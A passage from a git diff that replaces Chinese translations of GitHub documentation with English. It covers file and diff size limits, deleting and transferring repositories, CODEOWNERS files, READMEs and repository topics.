**512 KB** are always displayed as plain text. 代码不强调语法，散文文件不会转换成 HTML（如 Markdown、AsciiDoc *等*）。 +Text files over **512 KB** are always displayed as plain text. Code is not syntax highlighted, and prose files are not converted to HTML (such as Markdown, AsciiDoc, *etc.*). -超过 **5 MB** 的文本文件仅通过其源 URL 访问，将通过 `{% data variables.product.raw_github_com %}` 提供；例如 `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`。 单击 **Raw（源）**按钮获取文件的源 URL。 +Text files over **5 MB** are only available through their raw URLs, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file. -### 差异限制 +### Diff limits -因为差异可能很大，所以我们会对评论、拉取请求和比较视图的差异施加限制： +Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views: - In a pull request, no total diff may exceed *20,000 lines that you can load* or *1 MB* of raw diff data. -- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *四百行*和 *20 KB* 会自动加载为一个文件。 -- 单一差异中的最大文件数限于 *300*。 -- 单一差异中可呈现的文件（如图像、PDF 和 GeoJSON 文件）最大数量限于 *25*。 +- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *Four hundred lines* and *20 KB* are automatically loaded for a single file. +- The maximum number of files in a single diff is limited to *300*. +- The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to *25*. -受限差异的某些部分可能会显示，但超过限制的任何部分都不会显示。 +Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown. -### 提交列表限制 +### Commit listings limits -比较视图和拉取请求页面显示 `base` 与 `head` 修订之间的提交列表。 这些列表限于 **250** 次提交。 如果超过该限制，将会出现一条表示附加评论的注释（但不显示）。 +The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown). -## 延伸阅读 +## Further reading -- "[创建新仓库](/articles/creating-a-new-repository)" -- "[关于复刻](/github/collaborating-with-pull-requests/working-with-forks/about-forks)" -- "[通过议题和拉取请求进行协作](/categories/collaborating-with-issues-and-pull-requests)" -- "[在 {% data variables.product.prodname_dotcom %} 上管理您的工作](/categories/managing-your-work-on-github/)" -- "[管理仓库](/categories/administering-a-repository)" -- "[使用图表可视化仓库数据](/categories/visualizing-repository-data-with-graphs/)" -- "[关于 wikis](/communities/documenting-your-project-with-wikis/about-wikis)" -- "[{% data variables.product.prodname_dotcom %} 词汇](/articles/github-glossary)" +- "[Creating a new repository](/articles/creating-a-new-repository)" +- "[About forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[Collaborating with issues and pull requests](/categories/collaborating-with-issues-and-pull-requests)" +- "[Managing your work on {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)" +- "[Administering a repository](/categories/administering-a-repository)" +- "[Visualizing repository data with graphs](/categories/visualizing-repository-data-with-graphs/)" +- "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" +- "[{% data variables.product.prodname_dotcom %} glossary](/articles/github-glossary)" diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md index 5fddb34273..5fb2fd7aea 100644 --- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md +++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/deleting-a-repository.md @@ -1,6 +1,6 @@ --- -title: 删除仓库 -intro: 如果您是组织所有者或拥有仓库或复刻的管理员权限，可删除任何仓库或复刻。 删除复刻仓库不会删除上游仓库。 +title: Deleting a repository +intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository. redirect_from: - /delete-a-repo/ - /deleting-a-repo/ @@ -15,25 +15,26 @@ versions: topics: - Repositories --- +{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %} -{% data reusables.organizations.owners-and-admins-can %} 删除组织仓库。 如果已禁用 **Allow members to delete or transfer repositories for this organization（允许成员删除或转让此组织的仓库）**，仅组织所有者可删除组织仓库。 {% data reusables.organizations.new-repo-permissions-more-info %} - -{% ifversion not ghae %}删除公共仓库不会删除该仓库的任何复刻。{% endif %} +{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %} {% warning %} -**警告**： +**Warnings**: -- 删除仓库将**永久**删除发行版附件和团队权限。 此操作**必须**完成。 -- Deleting a private or internal repository will delete all forks of the repository. +- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone. +- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository. {% endwarning %} -Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. 更多信息请参阅“[恢复删除的仓库](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)”。 {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} +Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -2. 在 Danger Zone（危险区域）下，单击**Delete this repository（删除此仓库）**。 ![仓库删除按钮](/assets/images/help/repository/repo-delete.png) -3. **阅读警告**。 -4. 如需验证是否正在删除正确的仓库，请输入要删除仓库的名称。 ![删除标签](/assets/images/help/repository/repo-delete-confirmation.png) -5. 单击 **I understand the consequences, delete this repository（我理解后果，删除此仓库）**。 +2. Under Danger Zone, click **Delete this repository**. + ![Repository deletion button](/assets/images/help/repository/repo-delete.png) +3. **Read the warnings**. +4. To verify that you're deleting the correct repository, type the name of the repository you want to delete. + ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png) +5. Click **I understand the consequences, delete this repository**. diff --git a/translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md index fe7132df6f..651ec1b4dd 100644 --- a/translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md +++ b/translations/zh-CN/content/repositories/creating-and-managing-repositories/transferring-a-repository.md @@ -1,6 +1,6 @@ --- -title: 转让仓库 -intro: 您可以将仓库转让给其他用户或组织帐户。 +title: Transferring a repository +intro: You can transfer repositories to other users or organization accounts. redirect_from: - /articles/about-repository-transfers/ - /move-a-repo/ @@ -22,30 +22,30 @@ versions: topics: - Repositories --- +## About repository transfers -## 关于仓库转让 +When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, project boards, and settings. -当您将仓库转让给新所有者时，他们可以立即管理仓库的内容、议题、拉取请求、版本、项目板和设置。 +Prerequisites for repository transfers: +- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %} +- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization. +- The target account must not have a repository with the same name, or a fork in the same network. +- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %} +- Internal repositories can't be transferred.{% endif %} +- Private forks can't be transferred. -Prerequisites for repository transfers: -- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. 如果新所有者在一天之内没有接受转让，则邀请将过期。{% endif %} -- 要将您拥有的仓库转让给一个组织，您必须拥有在目标组织中创建仓库的权限。 -- 目标帐户不得具有相同名称的仓库，或位于同一网络中的复刻。 -- 仓库原来的所有者将添加为已转让仓库的协作者。 已转让仓库的其他协作者保持不变。 -- 私有复刻无法进行转让。 +{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %} -{% ifversion fpt or ghec %}如果您将私有仓库转让给 {% data variables.product.prodname_free_user %} 用户或组织帐户，该仓库将无法访问比如受保护分支和 {% data variables.product.prodname_pages %} 之类的功能。 {% data reusables.gated-features.more-info %}{% endif %} +### What's transferred with a repository? -### 随仓库一起转让的有哪些内容？ +When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition: -当您转让仓库时，其议题、拉取请求、wiki、星号和查看者也将转让。 如果转让的仓库包含 web 挂钩、服务、密码或部署密钥，它们将在转让完成后保持关联状态。 关于提交的 Git 信息（包括贡献）都将保留。 此外： - -- 如果转让的仓库是复刻，则它仍与上游仓库关联。 -- 如果转让的仓库有任何复刻，则这些复刻在转让完成后仍与该仓库关联。 -- 如果转让的仓库使用 {% data variables.large_files.product_name_long %}，则所有 {% data variables.large_files.product_name_short %} 对象均自动移动。 This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. 有关为用户帐户增加存储的更多详细，请参阅“[升级 {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)”。{% endif %} -- 仓库在两个用户帐户之间转让时，议题分配保持不变。 当您将仓库从用户帐户转让给组织时，分配给组织中该成员的议题保持不变，所有其他议题受理人都将被清除。 只允许组织中的所有者创建新的议题分配。 当您将仓库从组织转让给用户帐户时，只有分配给仓库所有者的议题保留，所有其他议题受理人都将被清除。 -- 如果转让的仓库包含 {% data variables.product.prodname_pages %} 站点，则指向 Web 上 Git 仓库和通过 Git 活动的链接将重定向。 不过，我们不会重定向与仓库关联的 {% data variables.product.prodname_pages %}。 -- 指向以前仓库位置的所有链接均自动重定向到新位置。 当您对转让的仓库使用 `git clone`、`git fetch` 或 `git push` 时，这些命令将重定向到新仓库位置或 URL。 不过，为了避免混淆，我们强烈建议将任何现有的本地克隆副本更新为指向新仓库 URL。 您可以通过在命令行中使用 `git remote` 来执行此操作： +- If the transferred repository is a fork, then it remains associated with the upstream repository. +- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete. +- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for user accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %} +- When a repository is transferred between two user accounts, issue assignments are left intact. When you transfer a repository from a user account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a user account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed. +- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository. +- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line: ```shell $ git remote set-url origin new_url @@ -53,29 +53,29 @@ Prerequisites for repository transfers: - When you transfer a repository from an organization to a user account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a user account. For more information about repository permission levels, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -更多信息请参阅“[管理远程仓库](/github/getting-started-with-github/managing-remote-repositories)”。 +For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." -### 仓库转让和组织 +### Repository transfers and organizations -要将仓库转让给组织，您必须在接收组织中具有仓库创建权限。 如果组织所有者已禁止组织成员创建仓库，则只有组织所有者能够转让仓库出入组织。 +To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization. -将仓库转让给组织后，组织的默认仓库权限设置和默认成员资格权限将应用到转让的仓库。 +Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository. -## 转让您的用户帐户拥有的仓库 +## Transferring a repository owned by your user account -您可以将仓库转让给接受仓库转让的任何用户帐户。 在两个用户帐户之间转让仓库时，原来的仓库所有者和协作者将自动添加为新仓库的协作者。 +You can transfer your repository to any user account that accepts your repository transfer. When a repository is transferred between two user accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository. -{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. 更多信息请参阅“[管理 {% data variables.product.prodname_pages %} 网站的自定义域](/articles/managing-a-custom-domain-for-your-github-pages-site)。{% endif %} +{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.transfer-repository-steps %} -## 转让您的组织拥有的仓库 +## Transferring a repository owned by your organization -如果您具有组织中的所有者权限或组织其中一个仓库的管理员权限，您可以将组织拥有的仓库转让给用户帐户或其他组织。 +If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your user account or to another organization. -1. 在拥有仓库的组织中登录您具有管理员或所有者权限的用户帐户。 +1. Sign into your user account that has admin or owner permissions in the organization that owns the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.transfer-repository-steps %} diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md index 3f09681000..0371d81e62 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md @@ -1,6 +1,6 @@ --- -title: 关于代码所有者 -intro: 您可以使用 CODEOWNERS 文件定义负责仓库代码的个人或团队。 +title: About code owners +intro: You can use a CODEOWNERS file to define individuals or teams that are responsible for code in a repository. redirect_from: - /articles/about-codeowners/ - /articles/about-code-owners @@ -15,43 +15,42 @@ versions: topics: - Repositories --- +People with admin or owner permissions can set up a CODEOWNERS file in a repository. -具有管理员或所有者权限的人员可以在仓库中创建 CODEOWNERS 文件。 +The people you choose as code owners must have write permissions for the repository. When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership. -您选择作为代码所有者的人员必须具有仓库的写入权限。 When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership. +## About code owners -## 关于代码所有者 +Code owners are automatically requested for review when someone opens a pull request that modifies code that they own. Code owners are not automatically requested to review draft pull requests. For more information about draft pull requests, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." When you mark a draft pull request as ready for review, code owners are automatically notified. If you convert a pull request to a draft, people who are already subscribed to notifications are not automatically unsubscribed. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)." -当有人打开修改代码的拉取请求时，将自动请求代码所有者进行审查。 不会自动请求代码所有者审查拉取请求草稿。 有关拉取请求草稿的更多信息，请参阅“[关于拉取请求](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)”。 不会自动请求代码所有者审查拉取请求草稿。 如果将拉取请求转换为草稿，则已订阅通知的用户不会自动取消订阅。 更多信息请参阅“[更改拉取请求的阶段](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)”。 +When someone with admin or owner permissions has enabled required reviews, they also can optionally require approval from a code owner before the author can merge a pull request in the repository. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)." -当具有管理员或所有者权限的人员启用必需审查时，他们也可选择性要求代码所有者批准后，作者才可合并仓库中的拉取请求。 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)”。 +If a file has a code owner, you can see who the code owner is before you open a pull request. In the repository, you can browse to the file and hover over {% octicon "shield-lock" aria-label="The edit icon" %}. -如果文件具有代码所有者，则在打开拉取请求之前可以看到代码所有者是谁。 在仓库中，您可以找到文件并悬停于 {% octicon "shield-lock" aria-label="The edit icon" %} 上。 +![Code owner for a file in a repository](/assets/images/help/repository/code-owner-for-a-file.png) -![仓库中文件的代码所有者](/assets/images/help/repository/code-owner-for-a-file.png) +## CODEOWNERS file location -## CODEOWNERS 文件位置 +To use a CODEOWNERS file, create a new file called `CODEOWNERS` in the root, `docs/`, or `.github/` directory of the repository, in the branch where you'd like to add the code owners. -要使用 CODEOWNERS 文件，请在仓库中您要添加代码所有者的分支的根目录 `docs/` 或 `.github/` 中，创建一个名为 `CODEOWNERS` 的新文件。 +Each CODEOWNERS file assigns the code owners for a single branch in the repository. Thus, you can assign different code owners for different branches, such as `@octo-org/codeowners-team` for a code base on the default branch and `@octocat` for a {% data variables.product.prodname_pages %} site on the `gh-pages` branch. -每个 CODEOWNERS 文件将为仓库中的一个分支分配代码所有者。 因此，您可以为不同的分支分配不同的代码所有者，例如为默认分支的代码基础分配 `@octo-org/codeowners-team`，为 `gh-pages` 分支的 {% data variables.product.prodname_pages %} 站点分配 `@octocat`。 +For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`. -为使代码所有者接收审查请求，CODEOWNERS 文件必须在拉取请求的基本分支上。 例如，如果您将 `@octocat` 分配为仓库 `gh-pages` 分支上 *.js* 文件的代码所有者，则在头部分支与 `gh-pages` 之间打开更改 *.js* 文件的拉取请求时，`@octocat` 将会收到审查请求。 - -{% ifversion fpt or ghae or ghes > 3.2 or ghec %} +{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-9273 %} ## CODEOWNERS file size CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request. -To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. +To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. {% endif %} -## CODEOWNERS 语法 +## CODEOWNERS syntax -CODEOWNERS 文件使用遵循 [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) 文件中所用大多数规则的模式，但有[一些例外](#syntax-exceptions)。 模式后接一个或多个使用标准 `@username` 或 `@org/team-name` 格式的 {% data variables.product.prodname_dotcom %} 用户名或团队名称。 Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`. +A CODEOWNERS file uses a pattern that follows most of the same rules used in [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) files, with [some exceptions](#syntax-exceptions). The pattern is followed by one or more {% data variables.product.prodname_dotcom %} usernames or team names using the standard `@username` or `@org/team-name` format. Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`. -如果 CODEOWNERS 文件中的任何行包含无效语法，则该文件将不会被检测并且不会用于请求审查。 -### CODEOWNERS 文件示例 +If any line in your CODEOWNERS file contains invalid syntax, the file will not be detected and will not be used to request reviews. +### Example of a CODEOWNERS file ``` # This is a comment. # Each line is a file pattern followed by one or more owners. @@ -104,16 +103,16 @@ apps/ @octocat /apps/ @octocat /apps/github ``` -### 语法例外 -gitignore 文件有一些语法规则在 CODEOWNERS 文件中不起作用： -- 使用 `\` 对以 `#` 开头的模式转义，使其被当作模式而不是注释 -- 使用 `!` 否定模式 -- 使用 `[ ]` 定义字符范围 +### Syntax exceptions +There are some syntax rules for gitignore files that do not work in CODEOWNERS files: +- Escaping a pattern starting with `#` using `\` so it is treated as a pattern and not a comment +- Using `!` to negate a pattern +- Using `[ ]` to define a character range ## CODEOWNERS and branch protection -Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)”。 +Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. For more information, see "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." -### CODEOWNERS 文件示例 +### Example of a CODEOWNERS file ``` # In this example, any change inside the `/apps` directory # will require approval from @doctocat. @@ -125,18 +124,14 @@ Repository owners can add branch protection rules to ensure that changed code is # In this example, any change inside the `/apps` directory # will require approval from a member of the @example-org/content team. -# If a member of @example-org/content opens a pull request -# with a change inside the `/apps` directory, their approval is implicit. -# The team is still added as a reviewer but not a required reviewer. -# Anyone can approve the changes. /apps/ @example-org/content-team ``` -## 延伸阅读 +## Further reading -- "[创建新文件](/articles/creating-new-files)" -- "[邀请个人仓库的协作者](/articles/inviting-collaborators-to-a-personal-repository)" -- "[管理个人对组织仓库的访问](/articles/managing-an-individual-s-access-to-an-organization-repository)" -- "[管理团队对组织仓库的访问](/articles/managing-team-access-to-an-organization-repository)" -- "[查看拉取请求审查](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)" +- "[Creating new files](/articles/creating-new-files)" +- "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)" +- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)" +- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" +- "[Viewing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)" diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md index 45fc980636..970ef6ff72 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md @@ -1,6 +1,6 @@ --- -title: 关于自述文件 -intro: 您可以将自述文件添加到仓库，告知其他人您的项目为什么有用，他们可以对您的项目做什么，以及他们可以如何使用。 +title: About READMEs +intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.' redirect_from: - /articles/section-links-on-readmes-and-blob-pages/ - /articles/relative-links-in-readmes/ @@ -15,23 +15,22 @@ versions: topics: - Repositories --- +## About READMEs -## 关于自述文件 +You can add a README file to a repository to communicate important information about your project. A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions. -您可以将 README 文件添加到仓库来交流有关您项目的重要信息。 A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions. +For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." -有关为项目提供指南的更多信息，请参阅 {% ifversion fpt or ghec %}“[为项目添加行为准则](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)”和{% endif %}“[设置健康参与的项目](/communities/setting-up-your-project-for-healthy-contributions)”。 +A README is often the first item a visitor will see when visiting your repository. README files typically include information on: +- What the project does +- Why the project is useful +- How users can get started with the project +- Where users can get help with your project +- Who maintains and contributes to the project -自述文件通常是访问者在访问仓库时看到的第一个项目。 自述文件通常包含以下信息： -- 项目做什么 -- 项目为什么有用 -- 用户如何使用项目 -- 用户能从何处获取项目的帮助 -- 谁维护和参与项目 +If you put your README file in your repository's root, `docs`, or hidden `.github` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors. -如果将自述文件放在仓库的根目录 `docs` 或隐藏的目录 `.github` 中，{% data variables.product.product_name %} 将会识别您的自述文件并自动向仓库访问者显示。 - -![Github/scientist 仓库的主页面及其自述文件](/assets/images/help/repository/repo-with-readme.png) +![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png) {% ifversion fpt or ghes or ghec %} @@ -39,37 +38,31 @@ topics: {% endif %} -![用户名/用户名仓库上的自述文件](/assets/images/help/repository/username-repo-with-readme.png) +![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png) {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} -## 为 README 文件自动生成的目录 +## Auto-generated table of contents for README files -对于仓库中任何 Markdown 文件（包括 README 文件）的视图，{% data variables.product.product_name %} 将自动生成基于章节标题的目录。 您可以通过单击渲染页面左上侧的 {% octicon "list-unordered" aria-label="The unordered list icon" %} 菜单图标来查看 README 文件的目录。 +For the rendered view of any Markdown file in a repository, including README files, {% data variables.product.product_name %} will automatically generate a table of contents based on section headings. You can view the table of contents for a README file by clicking the {% octicon "list-unordered" aria-label="The unordered list icon" %} menu icon at the top left of the rendered page. -![自动生成目录的自述文件](/assets/images/help/repository/readme-automatic-toc.png) - -自动生成的目录默认对仓库中所有 Markdown 文件启用，但您可以对您的仓库禁用此功能。 - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. 在“Features（功能）”下，取消选择 **Table of contents（目录）**。 ![仓库的自动目录设置](/assets/images/help/repository/readme-automatic-toc-setting.png) +![README with automatically generated TOC](/assets/images/help/repository/readme-automatic-toc.png) {% endif %} -## 自述文件和 blob 页面中的章节链接 +## Section links in README files and blob pages {% data reusables.repositories.section-links %} -## 自述文件中的相对链接和图像路径 +## Relative links and image paths in README files {% data reusables.repositories.relative-links %} ## Wikis -A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. 更多信息请参阅“[关于 wiki](/communities/documenting-your-project-with-wikis/about-wikis)”。 +A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)." -## 延伸阅读 +## Further reading -- "[添加文件到仓库](/articles/adding-a-file-to-a-repository)" -- 18F 的“[将自述文件设为可读](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)” +- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)" +- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)" diff --git a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md index d9ab23abec..2aa2f07f4f 100644 --- a/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md +++ b/translations/zh-CN/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md @@ -1,6 +1,6 @@ --- -title: 使用主题对仓库分类 -intro: 为帮助其他人找到并参与您的项目，可以为仓库添加主题，这些主题可以与项目的预期目的、学科领域、关联团队或其他重要特点相关。 +title: Classifying your repository with topics +intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.' redirect_from: - /articles/about-topics/ - /articles/classifying-your-repository-with-topics @@ -13,28 +13,30 @@ versions: ghec: '*' topics: - Repositories -shortTitle: 按主题分类 +shortTitle: Classify with topics --- +## About topics -## 关于主题 +With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can 